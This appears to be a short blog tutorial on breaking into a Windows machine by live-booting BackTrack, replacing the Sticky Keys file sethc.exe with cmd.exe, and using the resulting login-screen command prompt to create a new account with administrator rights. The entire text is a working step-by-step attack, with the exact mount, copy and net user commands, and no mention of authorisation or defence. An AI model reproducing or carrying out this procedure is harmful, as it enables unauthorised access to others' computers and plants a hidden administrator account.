Here we’ll learn how to break an Administrators password or to create an account without knowing the Administrator password.
We need a backtrack CD
What we’ll do here is, we will change the sticky key file “sethc.exe” file name to “cmd.exe” file so that if we will press the shift button 5 times on the login screen the command prompt will come up. Once the command prompt displayed we can make a user through command and can give the Administrators rights to him.
Steps:
1. Insert the CD in CD-ROM
Live boot the system through the backtrack O/S, Select the boot priority by pressing F12 CD/DVD
After the machine will boot if it will ask you for the login, then the
Username = Root
Password = toor
Type “startx” to change CLI to GUI
Once you come to the GUI
2. Open a Terminal
Type:#fdisk –l (To check the free disk)
3. #mkdir /mnt/cdrive (To make a directory to mount the cdrive, you can use any name here it is just a folder name)
4. #mount –t ntfs /dev/sda2 /mnt/cdrive (Mount the C drive i.e. /dev/sda2 in cdrive folder)
5. #cd /mnt/cdrive (To change the directory/ to open the directory)
6. #cd /Windows/Sytem32 (To see the System 32 folder)
7. #ls –l (To get the list of the files in System 32 folder)
8. #cp sethc.exe sethcbk.up (To take the Backup of the sethc.exe file)
9. #cp cmd.exe sethc.exe (To rename the file name)
10. Now restart the system #init 6 / reboot
You can eject the CD now
Now you’ve the windows login screen in front of you.
11. Press “shift key” 5 times
It will show you the command prompt now, make the user.
12. #net user username password /add
Now you’ve the user, you need to give Administrators right.
13: #net localgroup Administrators /add username
Restart the system now and Login with the new user!!
You will notice that you have the administrative rights now. AWESOME !!!
